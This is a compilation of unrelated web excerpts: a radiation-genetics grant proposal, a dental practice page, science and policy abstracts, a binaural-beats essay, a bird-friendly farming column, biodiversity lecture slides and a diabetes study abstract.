development. In this study, we will investigate the genetic and epigenetic effects of exposure to ionizing radiation that are associated with cancer and metabolic syndrome development among the Marshallese population in Northwest Arkansas. : Specific Aims Specific Aim 1. Determine whether exposures to IR are associated with stable chromosomal aberrations in peripheral lymphocytes of NWA Marshallese.
Using innovative and sensitive methodology (multiple fluorescence in situ hybridization [mFISH]), we will analyze and compare chromosomal aberrations in lymphocytes from NWA Marshallese and from matched control subjects. This will allow us to identify persistent cytogenetic aberrations associated with the exposure to IR, and the proposed method will provide much greater resolution than conventional cytogenetic techniques.
Specific Aim 2. Determine whether exposures to IR are associated with altered levels of LINE-1 DNA methylation in peripheral lymphocytes of NWA Marshallese. Using new methodology developed in our laboratory, we will examine and compare the DNA methylation status of 12 LINE-1 elements that belong to different evolutionary lineages. Results from samples of NWA Marshallese will be compared to those from
samples of matched controls. Our new method allows robust analysis of LINE-1 DNA methylation from as few as 500 cells of starting material, as well as sensitive identification of alterations in DNA methylation, even within subsets of LINE-1 elements.
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In some ways, tooth loss is natural. For instance, if you ignore a dental disease, then the consequences of it will naturally lead to the loss of your teeth. However, it isn’t natural in the same sense as aging. Unlike growing older, you can largely prevent tooth loss from occurring with proper care and maintenance, and by addressing dental health concerns promptly. At our El Paso, TX, dental office, we not only help you prevent tooth loss, but also help you prevent further concerns if tooth loss occurs by designing a custom, highly lifelike tooth replacement.
Your other teeth try to take up the slack
Losing a tooth means that rank and file of your teeth loses a supporting member. The teeth closest to the gap can feel the pressure every time you bite and chew, and can shift toward the space in an effort to compensate for it. This can lead to a host of issues, including forced tooth misalignment, structurally weaker teeth, a higher risk of tooth decay, and ultimately, an increased risk of losing more teeth. To avoid this, we can fill the gap in your smile with a lifelike dental bridge, or with a dental implant-supported crown that replaces your lost tooth root, as well.
Your risks of further tooth loss increase
Shifting teeth aren’t the only thing that can increase your risks of further tooth loss. For instance, losing a tooth root means losing stimulation in your jawbone, which can result in diminished minerals and nutrients flowing to it. Over time, your jawbone may shrink as it loses mass and density, making it weaker and less able to fully support your remaining teeth. The only way to prevent this is to reestablish that stimulation with an appropriate number of dental implants. The implant posts mimic your healthy teeth roots by supporting your custom crown, bridge, or denture, as well as helping your jawbone maintain its flow of nutrients.
Your oral and facial structures can suffer
As your jawbone shrinks from lack of stimulation, it will eventually become visibly apparent in your facial appearance. The jaw, cheekbones, and surrounding oral and facial structures can begin to sag due to inadequate support, a condition commonly referred to as facial collapse. By replacing your lost teeth with dental implants, you not only preserve your jawbone, but also the aforementioned structures to help you preserve your smile’s and face’s youthful appearance.
Don’t ignore tooth loss any longer
Avoid the more serious consequences of tooth loss by restoring your smile with a lifelike replacement as soon as possible. To learn more, schedule a consultation by
calling the Sunny Smiles dental office nearest you in El Paso, TX, today! We also have offices in Chaparral, Canutillo, and Vinton so we can easily serve patients throughout all surrounding communities.
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It refers to the shock waves perpendicular to the flow direction. The area of the shockwave relies on the variety in the cross-sectional stream zone of the conduit, and also on the upstream and downstream limit conditions.
Show the figure of normal shock waves as below.
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In engineering there are many key concepts and terms that are crucial for students to know and understand. Often it can be hard to determine what the most important engineering concepts and terms are, and even once you’ve identified them you still need to understand what they mean. To help you learn and understand key engineering terms and concepts, we’ve identified some of the most important ones and provided detailed definitions for them, written and compiled by Chegg experts.
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Summary The ’material turn’ in critical theory - and particularly the turn towards the body coupled with scientific insights from biomedicine, biology and physics - is becoming an important path in fields of humanities-based scholarly inquiry. Material and technological philosophies play an increasingly central role in disciplines such as literary studies, cultural studies, history, performance and aesthetics, to name only a few. This edited collection of essays investigates how the material turn finds applications within humanities-based frameworks - focusing on practical reflections and disciplinary responses. It takes as its critical premise the understanding that importation of theoretical viewpoints is never straightforward; rather, a complex, sometimes even fraught, communication takes place between these disciplines at the imperceptible lines where praxis and theory meet, transforming both the landscape of practical engagement and the models of material theory. Presenting a multi- and interdisciplinary consideration of current research on the cultural relationship to living (and non-living) bodies, Corporeality and Culture: Bodies in Movement puts the body in focus. From performance and body modification to film, literature and other cultural technologies, this volume undertakes a significant speculative mapping of the current possibilities for engagement, transformation and variance of embodied movement in relation to scientifically-situated corporealities and materialities in cultural and artistic practices. Time and time again, it finds these ever-shifting modes of being to be inextricably interdependent and coextensive: movement requires embodiment; and embodiment is a form of movement.
Reviews ’For well over a decade the turn to the body has complicated any straightforward conception of social construction or biologism. The essays collected in Corporeality and Culture transform the fields of gender studies and cultural studies in surprising and astute ways. Focused on important ethical and political questions these essays will be highly valuable and fascinating reading for anyone interested in contemporary culture and the difficulties of thinking about the politics of embodiment.’ Claire Colebrook, Penn State University, USA ’Corporeality and Culture is a next-generation volume in feminist theory and queer studies. The editors write how they have modestly witnessed the making of new materialisms in academia and art, and readers will find themselves in the position of the modest witness to a new twist in the turn towards post-humanist and affect theory, phenomenology and Deleuze Studies. The individual essays survey contemporary corporeality across theory and a multitude of artistic practices.’ Iris van der Tuin, Utrecht University, The Netherlands ’Here a new generation of scholars address the motion, e-motion and sheer commotion of bodies in states of becoming and relation. Resisting any conception of the body� as unity or totality, this collection constructs new cartographies emphasising difference, mutability, porosity and the undecidably in-between. This is adventurous, exploratory, experimental work, refusing to be bound to programs of any kind; this is thinking on the move towards unanticipated possibilities and unpredictable outcomes.’ Anna Gibbs, University of Western Sydney, Australia
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In the study, the researchers investigated how looking at nutrition labels affected the dietary intakes of over 1,000 university students. The participants were asked to answer whether they usually read nutrition labels on packaged foods. With their answers, they were classified as label-users or non-users. Their adherence to the Mediterranean diet was also evaluated using the relative Mediterranean Diet Score (rMED), in which positive scores are attributed to fruits, vegetables, legumes, fish, olive oil, and cereals. On the other hand, negative scores are attributed to meat and dairy products. Then, the total rMED scores were classified into three groups: Designating low, medium, and high adherence.
“Our approach contributes to exploring the role of nutritional labels use as a suitable tool to make healthier food choices from a different wider perspective based on dietary patterns such as Mediterranean Diet (MD), which can also indicate an overall healthy lifestyle,” said lead researcher Professor Manuela García-de-la-Hera.
Results of the study revealed that 58 percent of the population used nutrition labels. Label-users had a closer adherence to a Mediterranean-type of diet than non-users. In addition, label-users were also found to eat higher amounts of fruits, vegetables, and fish, and consumed less meat compared to non-users of labels.
In a sub-analysis, 738 of the participants were asked about their reasons for reading or not reading nutrition labels. Those who read labels reported that they did so mainly out of health concerns (e.g., adherence to a healthy diet, weight loss, or weight management). Conversely, those who admitted to not reading labels said they did not have enough time or were simply not interested.
“Our data are far from being able to establish a possible causal link between nutrition label use and higher adherence to MD, but they constitute a suitable rationale for replicating in other samples. Therefore, additional large-scale longitudinal studies are necessary to corroborate our findings and explore other aspects not covered in this study, such as nutritional knowledge, consumer preferences, or participant skills,” the researchers said.
Things you need to know about reading and understanding nutrition labels
Reading the nutritional information on the back of a packaged food may not be easy. Moreover, some people do not have the time to check the labels. Furthermore, brands use clever and misleading ways to convince buyers to buy their products. (Related: Nutrition labels confuse food shoppers; calls for simpler labels intensify.)
Here are three things you need to look for when reading a food label:
Check the ingredient list– Ingredients on nutrition labels should be listed in descending order according to weight. Thus, if the first three ingredients include sugar or highly processed ingredients, you would not want to buy that product. Watch out for hidden sugars– Manufacturers can use different sugars with names that you would not recognize. In addition to “sugar” words, look for other terms such as invert sugar, dextrose, maltol, fructose, sucrose, syrup, and maltodextrin. Keep an eye on buzzwords– Manufacturers can trick you into thinking that their products are healthy with their labels. Some of the buzz words they use include sugar-free, gluten-free, low-carb, low-fat, low-calorie, organic, natural, light, and fruit-flavored. They use other ingredients and chemicals to produce a similar flavor. For example, “sugar-free” products may use artificial sweeteners as an alternative, which are more harmful in reality. Therefore, check the nutrition label carefully.
Read more news stories and studies on ingredients by going to
Ingredients.news. Sources include:
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Oxygen has contributed to our understanding of the evolution of life on Earth by providing invaluable clues to geological processes — yet it still holds the key to some unsolved mysteries, as
Mark H. Thiemens explains.
Long before oxygen bars made it cool, element number 8 was somewhat magical. In the nucleus, there exist levels that when filled provide additional nuclear stability beyond that expected from normal binding-energy considerations, much like the filled shells of the noble gases for electrons. These nuclear 'magic numbers' occur at proton or neutron numbers of 2, 8, 20, 28, 50, 82 and 126. Consequently, oxygen's most common isotope (
16O 8), with its eight protons and eight neutrons, is 'doubly magic'. This accounts for its abundance — it is the third most abundant element in the universe after hydrogen and helium.
During nucleosynthesis, in which protons and neutrons organize to form atom nuclei in stars, three
4He nuclei combine to form 12C — a two–step process, with two 4He nuclei forming 8Be that in turn fuses with the third 4He. 12C is subsequently converted into 16O by further fusion with another helium nucleus.
Positioned at group 16 and period 2 in the periodic table, oxygen is an unusually reactive non-metallic atom that forms compounds with nearly all other elements. Its cosmic abundance combined with its chemical properties lead to its participation in a range of processes that build or protect planets (as part of silicate material or through the allotrope ozone, respectively) construct living organisms (in DNA, proteins, lipids and carbohydrates), as well as serving metabolic roles (photosynthesis and respiration). It is ubiquitous in the Earth's crust, mantle, atmosphere and surface water, and biological reservoirs that are connected through oxygen transfer. Carbon dioxide — a dominant greenhouse gas — is a major agent of the transfer between these reservoirs.
Since its original discovery by Carl Wilhelm Scheele in Uppsala in 1773, and publication by Joseph Priestley two years later, oxygen has had a long and interesting history. Lavoisier played a major role in the identification of the process by which oxidation or combustion occurs — and provided oxygen with its name, borrowing Greek roots (
oxys and -genes) to refer to it as 'creator of acids' because he thought all acids contained oxygen. Oxygen's role throughout the history of civilization is extensive, from energy production (whether hydrological or as a general fuel oxidant) to agriculture and as a component of textiles and ceramics, as well as many drugs.
Going back further in time, oxygen is intimately associated with the origin and evolution of life. In the Precambrian era, atmospheric oxygen levels were significantly lower than now, probably less than 0.1% of the current ones — although it is still difficult to quantify this with precision. Using multi-isotope measurements of sulfur
1 these low oxygen levels were estimated to have occurred between about 3.8 and 2.7 billion years ago. Only a little later — 2.2–2.5 billion years ago — the 'Great Oxygenation Event' 2 occurred and oxygen levels abruptly rose, largely owing to activities of cyanobacteria producing noticeable changes in the redox state and distribution of oxygen in minerals, such as the globally pervasive banded iron formations.
Measurements of oxygen isotopes (
16O, 17O and 18O) have been crucial in resolving natural processes. Stemming from work in the Urey laboratory in the 1950s 3,4 analyses of oceanic biological carbonates have been used to quantify the temperature change of the oceans over geological timescales. Similarly, the role of marine and terrestrial organisms in global photosynthesis, respiration and their change over time was deduced from measurements of atmospheric oxygen — which depend on the difference in the 18O to 16O ratio between air and water (the Dole effect).
Since 1973, we have known that the oldest objects in the solar system — the calcium- and aluminium-rich inclusions of 'carbonaceous chondritic' meteorites — possess a multiple oxygen isotope distribution that is inconsistent with conventional isotope effects
5. Experiments a decade later suggested that this might be because of processes such as photochemical isotope self-shielding, or chemical reactions that depend on symmetry factors rather than the conventional mass effect, which can produce a similar anomalous isotopic distribution 6. Recently, however, measurements of solar wind samples collected 7 by the spacecraft Genesis — which may reflect the dominant reservoir of oxygen in the solar system — have shown that their isotopic distribution is not similar to that of meteorites.
This means that the oxygen isotopic distribution of the Sun may potentially not reflect the original distribution of the isotopic reservoir of meteorites and stony planets. Consequently, the nebular source of that original distribution, and how these celestial bodies went on to produce the current meteorites and planets, remain unresolved.
References About this article Publication history Published DOI Further reading The Astrophysical Journal(2012)
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African urbanisation: An analytic policy guide
Africa is rapidly urbanising: it is the most important structural transformation underway in the region. By 2050, almost regardless of government policies, its urban population will have tripled. But the consequences are critically dependent upon policy choices: successful urbanisation requires active and far-sighted government. At its best, urbanisation can be the essential motor of economic development, rapidly lifting societies out of mass poverty. At its worst, it results in concentrations of squalor and disaffection which ferment political fragility.
To date, African urbanisation has been dysfunctional, the key indication being that cities have not generated enough productive jobs. If urban policies remain unchanged, future urbanisation is likely to result in similar outcomes. This paper sets out how changed policies can unlock the potential of urbanisation for prosperity. Primarily, it sets out the economic forces underlying this potential, and the specific policy actions they require. But policy actions do not just happen: they are generated by political processes that confer authority and capacity on public institutions. The paper concludes with a discussion of how politically urban policy-making might be improved.
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Theta brainwaves occur most often in sleep but are also dominant in deep meditation. Theta is our gateway to learning, memory, and intuition. In theta, our senses are withdrawn from the external world and focused on signals originating from within. It is that twilight state which we normally only experience fleetingly as we wake or drift off to sleep. In theta we are in a dream; vivid imagery, intuition and information beyond our normal conscious awareness. It’s where we hold our ‘stuff’, our fears, troubled history, and nightmares.
Going deeper into a trance-like state of meditation, you enter the mysterious Theta state where brain activity slows almost to the point of sleep, but not quite. Theta is one of the more elusive and extraordinary realms you can explore. It is also known as the twilight state which you normally only experience fleetingly upon waking, or drifting off to sleep.
The gentle pulsating rhythms of Brain Sync audio programs act in a similar fashion, yet because the frequencies are precise and consistent they can be targeted to induce highly specific and desired brain states. Just as you can tune a radio to get a particular station, with Brain Sync technology you can re-tune your consciousness – effectively dialing your mind into a wide variety of brain states. I have read something different about theta waves and learning languages. A University of Washington study tested students resting brainwave activity before learning French. They found that students with a higher amount beta/gamma and a lower amount of delta/theta activity were better at acquiring a second language. When you are dominant in theta, that is the lowest and most deeply relaxed awakened state you can be in. I think it would be much harder to really concentrate, fully understand and learn new information while in a theta state, so I would personally consider using theta while studying. James Austin, a neurologist, began practicing Zen meditation during a visit to Japan. After years of practice, he found himself having to re-evaluate what his professional background had taught him. "It was decided for me by the experiences I had while meditating," said Austin, author of the book "Zen and the Brain" and now a philosophy scholar at the University of Idaho. "Some of them were quickenings, one was a major internal absorption an intense hyper-awareness, empty endless space that was blacker than black and soundless and vacant of any sense of my physical bodily self. I felt deep bliss. I realized that nothing in my training or experience had prepared me to help me understand what was going on in my brain. It was a wake-up call for a neurologist." Some studies have found that binaural beats can affect cognitive function positively or negatively, depending on the specific frequency that’s generated. For example, a study of long-term memory found that beta-frequency binaural beats improved memory, while theta-frequency binaural beats interfered with memory. This is something for scientists to continue to examine closely. For people who use binaural beats, it’s important to understand that different frequencies will produce different effects.
Brain wave entrainment is a real phenomenon and is useful as one method of investigating how the brain works. But there is no evidence, nor any theoretical basis, for any long lasting effect on brain function or that there is any benefit of any kind. Despite this, there is a huge industry of devices that claim to train your brain waves and have a beneficial effect. I wouldn’t waste a dime on any such device.
Infra-Low brainwaves (also known as Slow Cortical Potentials), are thought to be the basic cortical rythms that underlie our higher brain functions. Very little is known about infra-low brainwaves. Their slow nature make them difficult to detect and accurately measure, so few studies have been done. They appear to take a major role in brain timing and network function. Brainwave entrainment is a colloquialism for such 'neural entrainment', which is a term used to denote the way in which the aggregate frequency of oscillations produced by the synchronous electrical activity in ensembles of cortical neurons can adjust to synchronize with the periodic vibration of an external stimuli, such as a sustained acoustic frequency perceived as pitch, a regularly repeating pattern of intermittent sounds, perceived as rhythm, or of a regularly rhythmically intermittent flashing light. At the heart of the critique of the new brain research is what one theologian at St. Louis University called the "nothing-butism" of some scientists the notion that all phenomena could be understood by reducing them to basic units that could be measured. And finally, say believers, if God existed and created the universe, wouldn't it make sense that he would install machinery in our brains that would make it possible to have mystical experiences? "Neuroscientists are taking the viewpoints of physicists of the last century that everything is matter," said Mathew, the Duke psychiatrist. "I am open to the possibility that there is more to this than what meets the eye. I don't believe in the omnipotence of science or that we have a foolproof explanation."
it says the following: “Running a delta sleep session throughout the night is not recommended as it can interrupt the normal sleep cycle”. I’ve been looping pure delta isochronic tones for about 5 days now, and have had quality sleep. Should I continue looping delta or should I let the videos play out without looping them? Will it will harm my health to do loop delta while I sleep?
Research done under Gerald Oster suggested that binaural beats may be used as a medical tool, especially for diagnosing neurological conditions. In particular, he noticed that untreated sufferers of Parkinson’s disease were unable to “hear” binaual beats but further research indicated successful treatment when the subject was finally able to perceive them at the end of a Parkinson’s treatment regimen. Oster also noted difference in perception in women based on their menstrual cycle, and posited that there may be some connection between the ability to perceive binaural beats and the woman’s levels of estrogen at the time.
I first became aware of brainwave meditation programs and brain waves when researching alternative methods for treating the bipolar disorder I had been unsuccessfully living with my entire adult life. I eventually learned a method of releasing difficult emotions on the spot, which I then practiced extensively, and consequently found it easier and even desirable to meditate for fairly lengthy periods of time. Though I took up meditation as a serious daily practice and experienced many undeniable benefits, I nonetheless intermittently experienced life-debilitating bouts of mania and severe depression, often resulting in chaotic mixed states and an inability to maintain daily social functions. During these times, it became nearly impossible to sit in meditation.
Binaural beats are auditory brainstem responses which originate in the superior olivary nucleus of each hemisphere. They result from the interaction of two different auditory impulses, originating in opposite ears, below 1000 Hz and which differ in frequency between one and 30 Hz (Oster, 1973).For example, if a pure tone of 400 Hz is presented to the right ear and a pure tone of 410 Hz is presented simultaneously to the left ear, an amplitude modulated standing wave of 10 Hz, the difference between the two tones, is experienced as the two wave forms mesh in and out of phase within the superior olivary nuclei. This binaural beat is not heard in the ordinary sense of the word (the human range of hearing is from 20-20,000 Hz). It is perceived as an auditory beat and theoretically can be used to entrain specific neural rhythms through the frequency-following response (FFR)--the tendency for cortical potentials to entrain to or resonate at the frequency of an external stimulus. Thus, it is theoretically possible to utilize a specific binaural-beat frequency as a consciousness management technique to entrain a specific cortical rhythm. If you name your emotions, you can tame them, according to new research that suggests why meditation works. Brain scans show that putting negative emotions into words calms the brain's emotion center. That could explain meditationÕs purported emotional benefits, because people who meditate often label their negative emotions in an effort to let them go. I call the kind of intuitions and inspirations that come when we meditate and do these kinds of practices my “marching orders.”Okay, this is what I need to do. We’re not using our brilliant linear minds here; that’s not the place wisdom comes from. The place of wisdom is, again, relaxing into these states with loving-kindness, and then all the stuff can come out, whether we are dealing with our shadow issues or dealing with our light issues—the wisdom and gifts we haven’t yet brought forth that need to be birthed. If mind-consciousness is not the brain, why then does science relate states of consciousness and mental functioning to Brainwave frequencies? And how is it that audio with embedded binaural beats alters brain waves? The first question can be answered in terms of instrumentation. There is no objective way to measure mind or consciousness with an instrument. Mind-consciousness appears to be a field phenomenon which interfaces with the body and the neurological structures of the brain (Hunt, 1995). One cannot measure this field directly with current instrumentation. On the other hand, the electrical potentials of brain waves can be measured and easily quantified. Contemporary science likes things that can be measured and quantified. The problem here lies in oversimplification of the observations. EEG patterns measured on the cortex are the result of electro-neurological activity of the brain. But the brain's electro-neurological activity is not mind-consciousness. EEG measurements then are only an indirect means of assessing the mind-consciousness interface with the neurological structures of the brain. As crude as this may seem, the EEG has been a reliable way for researchers to estimate states of consciousness based on the relative proportions of EEG frequencies. Stated another way, certain EEG patterns have been historically associated with specific states of consciousness. It is reasonable to assume, given the current EEG literature, that if a specific EEG pattern emerges it is probably accompanied by a particular state of consciousness. One can also learn to control and slow down their brain waves through various neurofeedback technologies such as electroencephalograph (EEG), galvanic skin response (GSR), and heart, pulse and breath rate monitors. These devices measure stress and relaxation parameters and then "play" back the signals to the user so they can use the signals as a beacon to guide and "steer" themselves into a relaxed state. This takes some time, work and discipline but is much quicker than learning meditation. I appreciate your compliment on my article Henry. I’ve been using and reading up on isochronic tones and brainwave entrainment for many years, so it was just a case of trying to put a lot of what I’ve learnt into one article. I don’t have a great deal of knowledge or experience in using hypnosis and subliminals, so I’m afraid I wouldn’t be in a position to create something so extensive in reviewing them.
This kind of conflicting evidence regarding the effectiveness of binaural beats to produce valid and reliable changes in brain waves abounds in the literature. For example, Rosenfeld, Reinhart, & Srivastava, (1997) found that in a sample of normal college students, alpha and beta audiovisual stimulation showed evidence of brainwave entrainment, but baseline levels of alpha and beta among the participants affected the observed degree of entrainment, producing significant individual differences in response. López-Caballero & Escera (2017) found that administration of binaural beats in the various frequency bands produced no changes in EEG spectral power between the time periods of baseline and those periods with beats presented. Likewise, Wahbeh, Calabrese, Zwickey, & Zajdel (2007) found no effect on brainwaves with the administration of alpha frequency binaural beats. It is easy, however, to find personal testimonials online.
Brain research is beginning to produce concrete evidence for something that Buddhist practitioners of meditation have maintained for centuries: Mental discipline and meditative practice can change the workings of the brain and allow people to achieve different levels of awareness. Those transformed states have traditionally been understood in transcendent terms, as something outside the world of physical measurement and objective evaluation.
As the ancient cultures believed that sound waves of different frequency and beats could induce a state of meditation. Ancient Hindus and Yogis believed that specific kind of sound waves can induce relaxing effects. I found the best binaurial beat app BINAURAL BEATS - MEDITATION & RELAXATION - Apps on Google Play as it is designed to provide you with the best meditation, deep sleep, stress relief, healing and sleep sounds. “Binaural beats are not very noticeable because the modulation depth (the difference between loud and quiet) is 3 db, a two-to-one ratio. (Isochronic tones and mono beats easily have 50 db difference between loud and quiet, which is a 100,00-to-1 ratio). This means that binaural beats are unlikely to produce an significant entrainment because they don’t activate the thalamus.” A common element in recordings incorporating alpha and theta frequencies is a steady but barely perceptible rhythm of the frequencies themselves. This subtle and calming pulse mixes with sounds of gentle breezes, distant bird songs, and the slow progression of deep synth notes. Underneath this, below the audible sounds at sub 16 hertz levels, other frequencies intermingle, deepening the merging of conscious and unconscious mind.
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Conservation Column: Done Right, Farming Can Benefit Both Humans and Birds
Birds help farmers. They control pests, sow seeds, pollinate flowers, and fertilize soils. Unfortunately, the reverse is not true; common agricultural practices do not help birds. Often they have led to devastating bird population declines. The North American Breeding Bird Survey data shows that 74 percent of farmland-associated species decreased between 1966 and 2013. The size of the global human population is large and growing, with a concomitant increase in the numbers of mouths to feed. That means that large swaths of natural habitat are destroyed to make way for agriculture. The remaining patches of native habitat are small and isolated. In addition, the chemicals used to increase crop yields are either interfering with reproduction in birds or killing them outright. Luckily, bird-friendly farming practices do exist.
Growing and buying organic food reduces risks from the many toxins used in conventional farming. Not only do some of these pesticides harm the birds directly (pesticides such as neonicotinoids cause loss of body mass, neurological impairment, and reproductive failure), but they also decimate the insect food base of many birds. Ironically, the loss of birds and beneficial insects, in turn, increases the surplus of crop pests. Low-intensity farming, which utilizes less pesticides and allows for more natural habitat, provides many other benefits, such as soil conservation, improved water quality, and carbon storage.
Several scientific reports have detailed the benefits of planting and maintaining wildflower strips, hedgerows, and other areas of native vegetation on farms. Even though a small area is taken out of crop production, the practice can actually increase crop yield. Plantings support pollinators such as native bees, beneficial insects, and birds. Native bees and some birds improve productivity through their pollination services. Beneficial insects and birds control crop pests. In one recent study, farm-edge habitat that contained native plants supported nearly three times as many bird species as those without, and importantly, reduced the abundance of the most significant insect pests by over 33 percent. Another study noted that planting wildflower strips adjacent to a crop field led to a 40 percent reduction in crop damage due to beetles and other pests.
Protecting riparian or streamside areas, as well as wetlands located on farms, also supports greater biodiversity. Rice farmers in California used to burn the straw residue post harvest. Now they flood their fields, creating temporary wetlands that support migratory and residential birds. It’s another win-win situation. The presence of the birds increases the rate of straw decomposition and creates better planting conditions for the next season.
A 2019 long-term study in Costa Rica measured population declines in 69 out of 112 bird species. On the positive side, coffee plantations that had modest tree cover hosted more types of birds. Farms with an average of about 13 percent tree cover hosted double the number of forest specialist birds compared with plantations with an average of 7 percent tree cover. Other studies have revealed the merits of agroforestry, or shade-grown crops, such as coffee and cocoa. One found 1,216 species of birds using agroforests compared to 303 species using conventional farms. Several surveys of agroforests have documented greater species richness and abundance of individuals, as well as reduced soil erosion, increased carbon sequestration, improved pollination, better pest control, and better connectivity for the many animals that live in forests.
Other sustainable practices include smart water and soil management (such as no-till farming), and moving away from planting mono-crop fields. Many programs, including the US Conservation Reserve Program, will pay landowners to convert highly erodible cropland into wildlife habitat, but the program is underfunded and limited. Stronger government policies in the United States and across the globe are needed to promote more environmentally friendly agricultural practices. Farming can be for the birds as well as the people!
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Biodiversity : Biodiversity How did biological diversity come about?
What are the principles of natural selection?
What affects biodiversity? What is biological diversity? : What is biological diversity? 1. genetic diversity
2. species diversity
3. higher taxonomic diversity (taxonomy)
4. habitat diversity How many species exist in the world? : How many species exist in the world? No one knows!
Taxonomists have named and described 1.4-1.7 million species
56% insects
14% plants
3% vertebrates
15% are in oceans
Highly biased sample
Vertebrates much more widely studied
What about microbes?
4000 different bacteria species per gram of Norwegian soil!
Also, mostly done in Europe and N. America while most of the biodiversity is in tropical countries and in oceans bacteria So how many species are there? : So how many species are there? 0 5,000,000 10,000,000 15,000,000 number of species total identified total estimated to exist however, this number could be as high as 100,000,000 14 mil 1.7 mil Global biodiversity seems to be at its peak Where are these species? : Where are these species? Oceans
1 to 10 million in oceans
diverse in phyla
32 in oceans but only 12 phyla on land
Tropics
7% of land mass
50% of species Slide 6: How do species evolve? Evolution is the change in the genetic characteristics of a population over time.
This change may happen by:
genetic mutations
natural selection
geographic isolation and migration
genetic drift (most likely in small, isolated populations) Slide 7: Views of Species Change: Evolution Lamarck (1809)
Use and disuse
Inheritance of acquired characteristics
Charles Darwin (1859)
Alfred Wallace Organisms today descended by gradual changes from ancient ancestors.
Age of the Earth: 238Uranium half-life of 4.5 billion years, current amount present suggests earth is ~ 4.6 billion years old (…so what?) Slide 8: Principles of Natural Selection Genetic variation exists among organisms in a population, these variations are inheritable.
Populations produce more offspring than environment can support and therefore only a fraction survive (struggle for existence)
Individuals best adapted to environment (more “fit”) will survive and leave more offspring
…..“Survival of the fittest” Examples of natural selection : Examples of natural selection Moths: “industrial melanism”
DDT and mosquitos What is “fit” changes with a changing environment Galapagos finches : Galapagos finches Variety of finches filling many ecological niches
Ground feeders, flower and fruit feeders, insectivores, woodpecker finch, warbler finch
Evolutionary divergence in < 3 million years Island speciation in Galapagos finches : Island speciation in Galapagos finches Some islands have only one species
No competition for seeds
beak sizes have a larger range of variation
“Generalists” Other islands have > 1 species
Competition for seeds
Leads to character displacement to reduce competition
“Specialists” Character displacement and biodiversity : Character displacement and biodiversity Helps explain how so many species are able to coexist
Competitive exclusion principle: Two species that have exactly the same requirements (niches) cannot coexist in the same habitat.
However, species that require the same resources can coexist by utilizing those resources under different environmental conditions (or niches)
Also called “resource partitioning” or “niche partitioning” Slide 13: Speciation Speciation = origin of new species
Central phenomenon of evolution
Evolution ≠ speciation
When is a subpopulation defined as a new species?
How do genes usually flow through a population?
Reproductive isolation prevents gene flow and allows 2 populations to become distinct. Slide 14: Geographic isolation and migration If two populations are geographically isolated from each other for a long time, they may change so much that they cannot reproduce Genetic drift : Genetic drift Changes in the frequency of a gene in a population due to chance (not mutation, natural selection, or migration).
Mostly an issue in small populations (endangered species)
Genetic variability is low in small populations, so their ability to adapt to future changes in the environment is low. Where can expect to find high biodiversity or low biodiversity? : Where can expect to find high biodiversity or low biodiversity? Higher diversity in complex environments : Higher diversity in complex environments Larger number of niches in heterogeneous environments
Also, high diversity at a supporting trophic level leads to high diversity. Slide 18: “Paradox of the Plankton” seemingly simple environment, many species, no competitive exclusion
environmental complexity can still account for significant portion of diversity
need just two limiting resources Slide 20: Environments can be complex when spatial component added Slide 21: Highest diversity at intermediate disturbance levels Intermediate Disturbance Hypothesis
low disturbance, competitors dominate
high disturbance, only a few stress-tolerators Slide 22: Highest Diversity in Low Nutrient Environments What leads to low diversity? : What leads to low diversity? Environmental stress, extreme environments, extreme disturbance, or limitation of an essential resource
Geographic isolation (real or ecological islands)
Recent introductions of exotic species
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Every learner has different abilities, backgrounds, and life experiences. Some individuals will be entering a trades program directly from high school as part of a dual-credit program or youth initiative and have limited experience outside of the classroom. Others may have been out ofthe formal education system for a number of years, but bring valuable years of work experience into the classroom. Regardless of where you are starting from, integral to your success in postsecondary education is developing effective study and learning skills. Time spent on these learning tasks will increase the effectiveness of time spent on all other learning tasks in your training program. In addition, the techniques that you choose to adopt and the effective study routine that you develop will benefit you... Show More
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At College Situations, Limiting Reactant And Percent Yield Worksheet Answer Key ordinarily refer to a single sheet of paper with questions or workouts for students to complete also note answers. They are used, to some degree, in most subjects, also have widespread utilize in the math syllabus where there are two key types. The 1st type of math worksheet contains a collection of identical math problems or practices. These are expected to help a worker become skilled in a particular mathematical ability that was instructed to them in course. They are ussually given to students as hometask. The 2nd kind of math worksheet is intended to acquaint new subjects, or are frequently completed in the course room. They are made up of a progressive set of questions that guides to an understanding of the subject to be studied.
Worksheets are important because those are individual actions and parents also need it. They (parents) get to recognize what the child is doing in the class. With evolving curricula, parents may not have the significant education to guidance their workers thru job task or supply additional assistance at home. Possessing a worksheet template simply reachable can support with advancing studying at home.
Overall, research in early boyhood education indicates that worksheets are recommended mainly for evaluation objectives. Worksheets should not be used for teaching as this is not developmentally appropriate for the education of junior students.
As an assessment tool, worksheets can be utilized by teachers to know students’ previous knowledge, output of learning, or the process of learning; at the same time, they could be utilized to allow students to monitor the progress of their own learning.
Worksheet generators are oft utilized to develop the type of worksheets that contain a group of same issues. A worksheet generator is a application program that quickly generates a group of issues, particularly in mathematics or numeracy. Such application is oftentimes utilized by teachers to make classroom stuffs also tests. Worksheet builders may be loaded on local computers or accessed via a site. There are also many worksheet generators that are available online. However, authentic worksheets can be made on software like word or powerpoint.
Top 20 Amazing Limiting Reactant And Percent Yield Worksheet Answer Key That You Will Love It in your computer by clicking resolution image in Download by size:. Don't forget to rate and comment if you interest with this worksheet template.
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eHSP72 (extracellular heat-shock protein 72) is increased in the plasma of both types of diabetes and is positively correlated with inflammatory markers. Since aging is associated with a low-grade inflammation and IR (insulin resistance), we aimed to: (i) analyse the concentration of eHSP72 in elderly people and determine correlation with insulin resistance, and (ii) determine the effects of eHSP72 on β-cell function and viability in human and rodent pancreatic β-cells. Fasting blood samples were collected from 50 older people [27 females and 23 males; 63.4±4.4 years of age; BMI (body mass index)=25.5±2.7 kg/m2]. Plasma samples were analysed for eHSP72, insulin, TNF (tumour necrosis factor)-α, leptin, adiponectin and cortisol, and glycaemic and lipid profile. In vitro studies were conducted using rodent islets and clonal rat and human pancreatic β-cell lines (BRIN-BD11 and 1.1B4 respectively). Cells/islets were incubated for 24 h with eHSP72 (0, 0.2, 4, 8 and 40 ng/ml). Cell viability was measured using three different methods. The impact of HSP72 on β-cell metabolic status was determined using Seahorse Bioscience XFe96 technology. To assess whether the effects of eHSP72 were mediated by Toll-like receptors (TLR2/TLR4), we co-incubated rodent islets with eHSP72 and the TLR2/TLR4 inhibitor OxPAPC (oxidized 1-palmitoyl-2-arachidonoyl-sn-glycero-3-phosphocholine; 30 μg/ml). We found a positive correlation between plasma eHSP72 and HOMA-IR (homoeostasis model assessment of IR) (r=0.528, P<0.001), TNF-α (r=0.389, P<0.014), cortisol (r=0.348, P<0.03) and 